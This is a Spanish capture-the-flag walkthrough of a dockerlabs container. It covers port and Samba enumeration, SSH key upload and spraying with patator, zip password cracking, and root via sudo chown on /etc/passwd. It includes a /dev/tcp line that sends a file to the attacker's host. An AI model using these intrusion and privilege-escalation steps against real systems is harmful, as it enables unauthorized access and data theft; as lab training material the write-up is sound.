Estamos ante un docker que contiene una distribución Linux. Es de nivel difícil y es de la plataforma dockerlabs.
Enumeración
Ponemos el docker en marcha con el auto_deploy.sh
que trae el zip. Cuando termina de cargar nos indica la dirección IP de nuestra víctima, en nuestro caso es 172.18.0.2
.
Empezamos realizando un escaneo de puertos con nmap
. Hacemos un escaneo silencioso-sS
, a todos los puertos -p-
, que nos de detalles del escaneo -v
, que no haga ping al host -Pn
, que no haga resolución de DNS -n
y que use el modo agresivo -T 4
a nuestra máquina victima 172.18.0.2
:
$ sudo nmap -sS -p- -Pn -n -T 4 -v 172.18.0.2
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Vemos que tiene los puertos 22, 80, 139, 445 abiertos. Vamos a realizar otro escaneo con nmap
pero esta vez para detectar la versión del servicio que este corriendo, -sV
, y para ejecutar los scripts por defecto para detectar vulnerabilidades, -sC
:
$ sudo nmap -sCV -p22,80,139,445 -v 172.18.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 fa:7b:d3:96:f6:83:bb:bd:24:86:b4:a8:f6:59:c3:62 (ECDSA)
|_ 256 29:49:38:ae:44:75:d8:88:2a:b6:98:55:00:bd:24:76 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Subir Archivo
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Enumeramos samba:
$ enum4linux -a 172.18.0.2
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
read_only_share Disk
IPC$ IPC IPC Service (64a2dd61671c server (Samba, Ubuntu))
S-1-22-1-1000 Unix User\root-false (Local User)
S-1-22-1-1001 Unix User\sambauser (Local User)
S-1-22-1-1002 Unix User\less (Local User)
S-1-22-1-1003 Unix User\passsamba (Local User)
Entre otras cosas encontramos un recurso compartido, read_only_share, y cuatro usuarios: root-false, sambauser, less y passsamba.
Ahora pasamos a enumerar el servicio web. Primero hacemos un ataque de fuerza bruta para encontrar directorios y ficheros:
$ feroxbuster -u http://172.18.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -r -d 1 -x .php,.txt,.zip
200 GET 1l 10w 56c http://172.18.0.2/upload.php
200 GET 94l 183w 2410c http://172.18.0.2/
200 GET 2l 16w 78c http://172.18.0.2/readme.txt
Llama la atención el fichero readme.txt. Lo vemos:
$ curl http://172.18.0.2/readme.txt
It may be that the file that is being uploaded is being uploaded in a .ssh/?
Parece que la url http://172.18.0.2/upload.php sube el fichero al directorio .ssh de alguno de los usuarios que hemos descubierto. Vamos a crear un par de claves públicas/privadas:
# Creamos las claves
$ ssh-keygen -t rsa -b 4096
# Creamos el fichero authorized_keys
$ cat id.pub > authorized_keys
Subimos el fichero authorized_keys:
No sabemos a que usuario pertenece el directorio .ssh. En este caso voy a usar el script patator. Primero creamos un fichero users.txt con los nombres de los usuarios que hemos descubierto y después ejecutamos el script:
$ patator ssh_login host=172.18.0.2 user=FILE0 keyfile=id 0=users.txt
23:37:20 patator INFO - code size time | candidate | num | mesg
23:37:20 patator INFO - -----------------------------------------------------------------------------
23:37:21 patator INFO - 1 22 0.072 | root-false | 1 | Authentication failed.
23:37:21 patator INFO - 1 22 0.018 | sambauser | 2 | Authentication failed.
23:37:21 patator INFO - 0 40 0.025 | passsamba | 3 | SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Como podemos ver con el user passsamba obtendríamos acceso al sistema.
Intrusión
Nos conectamos al sistema usando la clave privada:
$ ssh -i id passsamba@172.18.0.2
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.11-amd64 x86_64)
passsamba@64a2dd61671c:~$
Leemos el fichero note.txt:
passsamba@64a2dd61671c:~$ cat note.txt
What would "sambaarribasiempre" be used for?
Veamos para que sirve… usando patator de nuevo:
$ patator ssh_login host=172.18.0.2 user=FILE0 password=sambaarribasiempre 0=users.txt
23:40:33 patator INFO - code size time | candidate | num | mesg
23:40:33 patator INFO - -----------------------------------------------------------------------------
23:40:33 patator INFO - 0 40 0.086 | sambauser | 2 | SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
23:40:36 patator INFO - 1 22 2.671 | passsamba | 3 | Authentication failed.
23:40:36 patator INFO - 1 22 2.920 | root-false | 1 | Authentication failed.
Son las credenciales de sambauser.
Movimientos laterales
Nos cambiamos al user sambauser:
passsamba@64a2dd61671c:~$ su sambauser
Password:
sambauser@64a2dd61671c:/home/passsamba$ cd
sambauser@64a2dd61671c:~$ id
uid=1001(sambauser) gid=1001(sambauser) groups=1001(sambauser),100(users)
sambauser@64a2dd61671c:~$
Buscamos donde está ubicado el recurso compartido en el sistema:
sambauser@64a2dd61671c:/$ find / -name read_only_share 2>/dev/null
/srv/samba/read_only_share
Encontramos un fichero secret.txt. Nos lo pasamos a nuestra máquina, para ello nos ponemos a la escucha con nc redirigiendo la salida al fichero secret.txt y nos lo mandamos:
$ nc -nlvp 8888 > secret.zip
listening on [any] 8888 ...
sambauser@64a2dd61671c:~$ cat /srv/samba/read_only_share/secret.zip > /dev/tcp/172.18.0.1/8888
Con patator y el módulo unzip_pass obtenemos la contraseña del fichero zip:
$ patator unzip_pass zipfile=secret.zip password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:code!=0
23:50:13 patator INFO - code size time | candidate | num | mesg
23:50:13 patator INFO - -----------------------------------------------------------------------------
23:50:16 patator INFO - 0 82 0.006 | qwert
Lo descomprimimos:
$ 7z x secret.zip
$ cat secret.txt
root-false:cGFzc3dvcmRiYWRzZWN1cmV1bHRyYQ==
Y desciframos la clave:
$ echo 'cGFzc3dvcmRiYWRzZWN1cmV1bHRyYQ==' | base64 -d
passwordbadsecureultra
Nos movemos a root-false:
sambauser@64a2dd61671c:~$ su root-false
Password:
root-false@64a2dd61671c:/home/sambauser$ whoami
root-false
Leemos el mensaje:
root-false@64a2dd61671c:~$ cat message.txt
Mario, remember this word, then the boss will get angry:
"pinguinodemarioelmejor"
Buscando por el sistema encontramos que hay una segunda web:
root-false@64a2dd61671c:~$ ls -l /etc/apache2/sites-available/
total 16
-rw-r--r-- 1 root root 1286 Mar 18 13:35 000-default.conf
-rw-r--r-- 1 root root 4573 Mar 18 13:35 default-ssl.conf
-rw-r--r-- 1 root root 386 Aug 27 11:03 second-site.conf
Vemos que contiene:
root-false@64a2dd61671c:~$ cat /etc/apache2/sites-available/second-site.conf
<VirtualHost 10.10.11.5:80>
ServerName 10.10.11.5
ServerAdmin webmaster@localhost
DocumentRoot /var/www/second-site
<Directory /var/www/second-site>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Vemos que la web hay un formulario para hacer login. Tras probar con los usuarios que conocemos y no obtener acceso probamos con el user mario y obtenemos acceso. Como vemos, usando -vvv en curl, vemos que la respuesta ha sido HTTP/1.1 302 Found
y nos redirige a Location: super_secure_page/admin.php
:
root-false@64a2dd61671c:~$ curl -vvv -H "Content-Type: application/x-www-form-urlencoded" -d 'username=mario&password=pinguinodemarioelmejor' http://10.10.11.5/
* Trying 10.10.11.5:80...
* Connected to 10.10.11.5 (10.10.11.5) port 80
> POST / HTTP/1.1
> Host: 10.10.11.5
> User-Agent: curl/8.5.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 46
>
< HTTP/1.1 302 Found
< Date: Mon, 02 Sep 2024 22:24:41 GMT
< Server: Apache/2.4.58 (Ubuntu)
< Location: super_secure_page/admin.php
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 10.10.11.5 left intact
Accedemos a la nueva ruta y en el código fuente encontramos el siguiente comentario:
root-false@64a2dd61671c:~$ curl http://10.10.11.5/super_secure_page/admin.php
<!--ultramegatextosecret.txt-->
Accedemos al fichero:
root-false@64a2dd61671c:~$ curl http://10.10.11.5/ultramegatextosecret.txt
En el reino de los hongos, se encontraba un lugar mágico y poco conocido: el Bosque de Nieve Eterna. Este bosque estaba cubierto de un manto blanco y brillante todo el año, y albergaba muchas criaturas fantásticas y secretos ocultos. Entre ellos, había una leyenda que hablaba de un pingüino muy especial que guardaba un gran secreto.
El pingüino en cuestión no era un pingüino común. Se llamaba Pinguino y era el guardián de un antiguo artefacto mágico conocido como el Cristal de la Aurora. Según la leyenda, el Cristal tenía el poder de controlar el clima y podía traer tanto la eterna primavera como un invierno sin fin, dependiendo de la voluntad de su portador.
Una tarde, mientras Mario exploraba el Bosque de Nieve Eterna, llegó a un claro donde vio a Pinguino deslizarse alegremente por una pista de hielo. Mario, siempre curioso, se acercó al pingüino y le preguntó sobre el cristal.
Pinguino, con una mirada sabia en sus ojos, le dijo a Mario que el Cristal de la Aurora estaba escondido en una cueva secreta bajo el lago helado del bosque. Sin embargo, solo el corazón puro y valiente de un verdadero héroe podría encontrarlo. La entrada a la cueva estaba oculta por una mágica capa de hielo que solo se derretía cuando alguien con buenas intenciones realizaba un acto de bondad.
Mario decidió aceptar el desafío. Durante su travesía, ayudó a los habitantes del bosque: rescató a un grupo de conejos atrapados en una tormenta de nieve, reparó una antigua fuente que había sido dañada por un deshielo imprevisto y, sobre todo, demostró su valentía enfrentando a una banda de Koopa Troopas que habían estado causando estragos en la región.
Al realizar estos actos de bondad, el hielo sobre el lago comenzó a derretirse, revelando una entrada oculta en la cueva. Mario entró con cuidado y, con la guía de Pinguino, encontró el Cristal de la Aurora brillando en su pedestal.
El pingüino le explicó que el cristal no solo tenía el poder de controlar el clima, sino que también representaba el equilibrio y la armonía entre las estaciones. Mario comprendió que era esencial mantener ese equilibrio para el bienestar de todo el reino.
Con el Cristal_de_la_Aurora a salvo, Mario y Pinguino regresaron al claro del bosque. El pingüino le agradeció a Mario por su valentía y bondad, y le dijo que siempre podría contar con el bosque para cualquier futuro desafío.
Desde ese día, Mario visitó el Bosque de Nieve Eterna cada vez que necesitaba un consejo sabio, y la leyenda del pingüino guardián del cristal se convirtió en una historia popular en el Reino de los Hongos, recordando a todos que la bondad y la valentía siempre encuentran su recompensa.
by less
Lo único que llama la atención es Cristal_de_la_Aurora. Probamos a usarlo para movernos a less:
root-false@64a2dd61671c:~$ su less
Password:
less@64a2dd61671c:/home/root-false$
Vemos que puede ejecutar como root
less@64a2dd61671c:~$ sudo -l
Matching Defaults entries for less on 64a2dd61671c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User less may run the following commands on 64a2dd61671c:
(ALL : ALL) NOPASSWD: /bin/chown
Escalada de privilegios
Vamos a cambiar los permisos al fichero /etc/passwd
para que sea propiedad de less:
less@64a2dd61671c:~$ sudo chown less:less /etc/passwd
Después editamos el fichero. Borramos la x que esta entre root y 0.
less@64a2dd61671c:~$ nano /etc/passwd
# Antes
root:x:0:0:root:/root:/bin/bash
# Después
root::0:0:root:/root:/bin/bash
Y con ese cambio nos podemos logear como root sin contraseña.
less@64a2dd61671c:~$ su
root@64a2dd61671c:/home/less# id
uid=0(root) gid=0(root) groups=0(root)
root@64a2dd61671c:/home/less#